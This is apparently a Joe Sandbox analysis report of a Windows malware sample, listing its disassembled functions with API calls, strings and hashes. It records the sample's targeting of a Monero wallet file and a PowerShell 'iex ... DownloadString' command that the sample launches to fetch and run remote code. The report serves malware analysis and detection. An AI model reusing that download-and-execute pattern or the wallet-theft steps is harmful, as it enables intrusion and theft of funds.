Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a2ba0aba3c660365c03b215bd5797bddc74fe49047ae769578c8f17105d35b0d
Instruction ID: 1e010214ef8eb2caf0869821197fb24de6b2cf05c49f1a540ffb17ec743d896b
Opcode Fuzzy Hash: a2ba0aba3c660365c03b215bd5797bddc74fe49047ae769578c8f17105d35b0d
Instruction Fuzzy Hash: B83109B4A0020DEFDB14CF94C985BAE7BB5FF88340F108558E951A7290D778AA41CFA1

Function 00604780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0140DB48), ref: 006047DB

Part of subcall function 00608DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608E0B

lstrcat.KERNEL32(?,00000000), ref: 00604801
lstrcat.KERNEL32(?,?), ref: 00604820
lstrcat.KERNEL32(?,?), ref: 00604834
lstrcat.KERNEL32(?,013FB248), ref: 00604847
lstrcat.KERNEL32(?,?), ref: 0060485B
lstrcat.KERNEL32(?,0140D318), ref: 0060486F

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 00608D90: GetFileAttributesA.KERNEL32(00000000,?,005F1B54,?,?,0061564C,?,?,00610E1F), ref: 00608D9F

Part of subcall function 00604570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00604580
Part of subcall function 00604570: RtlAllocateHeap.NTDLL(00000000), ref: 00604587
Part of subcall function 00604570: wsprintfA.USER32 ref: 006045A6
Part of subcall function 00604570: FindFirstFileA.KERNEL32(?,?), ref: 006045BD

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: d3800811a5adeb3513295b348b14c24139c70e7838b968b66e317116f4a4ee2e
Instruction ID: 03b2a67505fa6a7a8dc235bbf8b0836cafb758ab5dd34810ffcc782139a4bae8
Opcode Fuzzy Hash: d3800811a5adeb3513295b348b14c24139c70e7838b968b66e317116f4a4ee2e
Instruction Fuzzy Hash: 2D3182B2940208ABCB58F7A4DC85EEA737DBB88300F404998B395960C1EE74D6898B95

Function 00602C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

ShellExecuteEx.SHELL32(0000003C), ref: 00602D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00602CC4
<, xrefs: 00602D39
')", xrefs: 00602CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00602D04

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 4b60e0b86b943a8e79b66f5c90f49fcb8a1bb3c8e57be3ea5c94bc2745af4565
Instruction ID: d88dd550708679912c51551d8d75b5fbc777742c522dde1f5fa5f71e05283bda
Opcode Fuzzy Hash: 4b60e0b86b943a8e79b66f5c90f49fcb8a1bb3c8e57be3ea5c94bc2745af4565
Instruction Fuzzy Hash: 3B41CD719502089ADB9CEBE0C895FDFB776AF14340F40811DE106A71D1DF746A8ACF95

Function 005F9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 005F9F41

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Strings

v10, xrefs: 005F9EA3
@, xrefs: 005F9EF1
v20, xrefs: 005F9E21
ERROR_RUN_EXTRACTOR, xrefs: 005F9E67

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 1c9702da27edbf7558521d78219b9b6aaf50bdb0ebd630671acade204d9970e3
Instruction ID: dba83a6c3374d3acac3a576396a3450462e2bb240377e3c65b3de6d1c3e4ccc9
Opcode Fuzzy Hash: 1c9702da27edbf7558521d78219b9b6aaf50bdb0ebd630671acade204d9970e3
Instruction Fuzzy Hash: A9613E70A4024CDBDB18EFA4DC96FEE777ABF84340F008518FA0A5B191DB746A45CB56

Function 006040B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0140D158,00000000,00020119,?), ref: 006040F4
RegQueryValueExA.ADVAPI32(?,0140DBA8,00000000,00000000,00000000,000000FF), ref: 00604118
RegCloseKey.ADVAPI32(?), ref: 00604122
lstrcat.KERNEL32(?,00000000), ref: 00604147
lstrcat.KERNEL32(?,0140DC80), ref: 0060415B

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: aad5f134a6dd4f279e5ca61e6ad8e488bfb28555ebd8a2e39959ee2e7a11c090
Instruction ID: a78963d7b4bbfed268c24eb94b71c880ffc2225044a9c5b18fcb703e8542a237
Opcode Fuzzy Hash: aad5f134a6dd4f279e5ca61e6ad8e488bfb28555ebd8a2e39959ee2e7a11c090
Instruction Fuzzy Hash: E0418AB6940108ABDB18FBA0DC46FFE773DB7C8300F40495DB75657181EA759B888B92

Function 00607E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607E37
RtlAllocateHeap.NTDLL(00000000), ref: 00607E3E
RegOpenKeyExA.ADVAPI32(80000002,013FBCE8,00000000,00020119,?), ref: 00607E5E
RegQueryValueExA.ADVAPI32(?,0140D2D8,00000000,00000000,000000FF,000000FF), ref: 00607E7F
RegCloseKey.ADVAPI32(?), ref: 00607E92

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 2f25993d4d0f9e1e6b0b797296c87fe8f121546f8fd65e864a9ed11ea6a2dc6c
Instruction ID: 19059168020cb661e2056735c3eb90f9b2e483bbd249d3995ca5429e2095eb46
Opcode Fuzzy Hash: 2f25993d4d0f9e1e6b0b797296c87fe8f121546f8fd65e864a9ed11ea6a2dc6c
Instruction Fuzzy Hash: 1C115EB1A84205EBD708CF94DD49FBFBBB9FB44B10F104559F605A7280D7B568018BA1

Function 00609260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0140D9E0,?,?,?,0060140C,?,0140D9E0,00000000), ref: 0060926C
lstrcpyn.KERNEL32(0083AB88,0140D9E0,0140D9E0,?,0060140C,?,0140D9E0), ref: 00609290
lstrlen.KERNEL32(?,?,0060140C,?,0140D9E0), ref: 006092A7
wsprintfA.USER32 ref: 006092C7

Strings

%s%s, xrefs: 006092B5

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: e978466fdba715cf12920ce965c6811f9839d9bc557a1af63b0f7f9e74f90b31
Instruction ID: edef2f829572832d9ef99f3ec6a0133c257cc87e1ccd2e2bac3a2baad55404a9
Opcode Fuzzy Hash: e978466fdba715cf12920ce965c6811f9839d9bc557a1af63b0f7f9e74f90b31
Instruction Fuzzy Hash: 5B01CC75500108FFCB08DFECC985EAE7BB9FB84364F148548F9499B345C675AA40DB91

Function 005F12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F12B4
RtlAllocateHeap.NTDLL(00000000), ref: 005F12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 005F12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005F12F5
RegCloseKey.ADVAPI32(?), ref: 005F12FF

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8a7799a99951f4dc2257e7fdb7cd859b0b0e8173c3d7f7191b9d92fc3e2cafa0
Instruction ID: fe9a3ead2b36395d2b8a965a9a27f63601764497e2e599a1480b0653f59f9717
Opcode Fuzzy Hash: 8a7799a99951f4dc2257e7fdb7cd859b0b0e8173c3d7f7191b9d92fc3e2cafa0
Instruction Fuzzy Hash: AB01E1B9A40208BBDB04DFE4DC89FAEB7B8FB88701F108559FA4597280D6759A058F51

Function 0060C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0060C8EC
___crtLCMapStringA.LIBCMT ref: 0060C90C
___crtLCMapStringA.LIBCMT ref: 0060C931

Strings

, xrefs: 0060C896

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 21a5f02db6acc4431773051149c2c1f34a66dfa6b5d3adb543cc8a0a9d819653
Instruction ID: 11bf737f15fdaf2f73408ad8b66682f54c6b923f355791c44271dfe90473c015
Opcode Fuzzy Hash: 21a5f02db6acc4431773051149c2c1f34a66dfa6b5d3adb543cc8a0a9d819653
Instruction Fuzzy Hash: 1D41377114074C5EDB298B24CC84FFB7BEA9F45314F1445ECE9CA861C2D2719A45CF24

Function 00606630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00606663

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

ShellExecuteEx.SHELL32(0000003C), ref: 00606726
ExitProcess.KERNEL32 ref: 00606755

Strings

<, xrefs: 006066D9

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4428bb7faaf938af9edaaf7bb47dbfa30f7bf0aab13b74ab2169f914189c32fd
Instruction ID: a84bab06177695f2246e4aa91e06f02087ac2cbb59a3eee8c64a4882a52c7690
Opcode Fuzzy Hash: 4428bb7faaf938af9edaaf7bb47dbfa30f7bf0aab13b74ab2169f914189c32fd
Instruction Fuzzy Hash: 893147B1941208AADB98EB94DC82FDEB779AF54300F404588F24A661D1DF746B48CF6A

Function 006087C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00610E28,00000000,?), ref: 0060882F
RtlAllocateHeap.NTDLL(00000000), ref: 00608836
wsprintfA.USER32 ref: 00608850

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Strings

%dx%d, xrefs: 00608847

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 3b38d724920507cd3477015c69d87a9816e11c0e0a0689a1a35ab6cca14be271
Instruction ID: 7e854ade7a8f7dc70ac432675cad7a0918681693e0460a2fe50319f293732252
Opcode Fuzzy Hash: 3b38d724920507cd3477015c69d87a9816e11c0e0a0689a1a35ab6cca14be271
Instruction Fuzzy Hash: 8D213DB1A40208AFDB08DFD4DD49FAEBBB8FB88701F104519F645A72C0C779A901CBA1

